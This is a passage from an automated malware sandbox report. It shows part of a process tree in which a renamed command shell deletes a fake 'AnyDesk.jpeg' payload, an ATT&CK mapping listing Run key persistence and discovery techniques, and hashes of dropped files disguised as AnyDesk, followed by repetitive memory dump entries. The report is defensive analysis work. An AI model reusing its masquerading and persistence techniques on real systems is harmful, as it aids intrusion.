  - Executes dropped EXE
  PID:3496
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.jpeg" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:2952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\AnyDesk.jpeg

Filesize
2.3MB

MD5
f4d3d158e042b2f2f6241c94da2370fb

SHA1
0228ece140a699a52e806ad7a977ed2a1198035e

SHA256
28cd0f0300eb2afa9b4ab00193f0d5868ca091e361e4853cc48ec225b1a87e17

SHA512
a97fffa538df6c53b2e3c7f594bb46fbdfbc213eacf86bded4d4080fac0ca4eea7ec1ccc6ddbe6037f65f8f1138ad296e1112e48a3074f29564af7e447ddfe9e

Download Submit
C:\Users\Public\Libraries\AnyDesk.PIF

Filesize
1.2MB

MD5
df6f291f617d9dbae8f32fb11ecd59c1

SHA1
3d26f65c19079bea772572e3367b4185aa4c99ca

SHA256
43223d630e7d3898d254eaf0c02264261ada01c3ed93fc119c6550e66f406a5b

SHA512
4065e8c1072b89b6d741f8268de54ddb5521acad91fb13491fc1e1ed75467e753764501e201336c67cd7871b0774b835222c53e9f29ddf4ca72dac0d37f5f163

Download Submit
C:\Users\Public\Libraries\hgkvgoaF.cmd

Filesize
60KB

MD5
b87f096cbc25570329e2bb59fee57580

SHA1
d281d1bf37b4fb46f90973afc65eece3908532b2

SHA256
d08ccc9b1e3acc205fe754bad8416964e9711815e9ceed5e6af73d8e9035ec9e

SHA512
72901adde38f50cf6d74743c0a546c0fea8b1cd4a18449048a0758a7593a176fc33aad1ebfd955775eefc2b30532bcc18e4f2964b3731b668dd87d94405951f7

Download Submit
C:\Users\Public\alpha.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Users\Public\alpha.pif

Filesize
231KB

MD5
d0fce3afa6aa1d58ce9fa336cc2b675b

SHA1
4048488de6ba4bfef9edf103755519f1f762668f

SHA256
4d89fc34d5f0f9babd022271c585a9477bf41e834e46b991deaa0530fdb25e22

SHA512
80e127ef81752cd50f9ea2d662dc4d3bf8db8d29680e75fa5fc406ca22cafa5c4d89ef2eac65b486413d3cdd57a2c12a1cb75f65d1e312a717d262265736d1c2

Download Submit
C:\Users\Public\kn.exe

Filesize
1.6MB

MD5
bd8d9943a9b1def98eb83e0fa48796c2

SHA1
70e89852f023ab7cde0173eda1208dbb580f1e4f

SHA256
8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

SHA512
95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

Download Submit
C:\Users\Public\xpha.pif

Filesize
18KB

MD5
b3624dd758ccecf93a1226cef252ca12

SHA1
fcf4dad8c4ad101504b1bf47cbbddbac36b558a7

SHA256
4aaa74f294c15aeb37ada8185d0dead58bd87276a01a814abc0c4b40545bf2ef

SHA512
c613d18511b00fa25fc7b1bdde10d96debb42a99b5aaab9e9826538d0e229085bb371f0197f6b1086c4f9c605f01e71287ffc5442f701a95d67c232a5f031838

Download Submit
memory/840-97-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-54-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-31-0x0000000000400000-0x0000000000535000-memory.dmp

Filesize
1.2MB

Download
memory/840-33-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-34-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-36-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-38-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-39-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-52-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-46-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-51-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-45-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-50-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-78-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-43-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-42-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-41-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-40-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-37-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-35-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-49-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-60-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-71-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-59-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-58-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-72-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-80-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-28-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-92-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-105-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-79-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-29-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-44-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-101-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-77-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-99-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-98-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-96-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-75-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-94-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-74-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-95-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-73-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-91-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-70-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-69-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-67-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-66-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-64-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-76-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-63-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-62-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-93-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-68-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-57-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-56-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-55-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-65-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-61-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-48-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-103-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-53-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download
memory/840-47-0x0000000002E30000-0x0000000003E30000-memory.dmp

Filesize
16.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads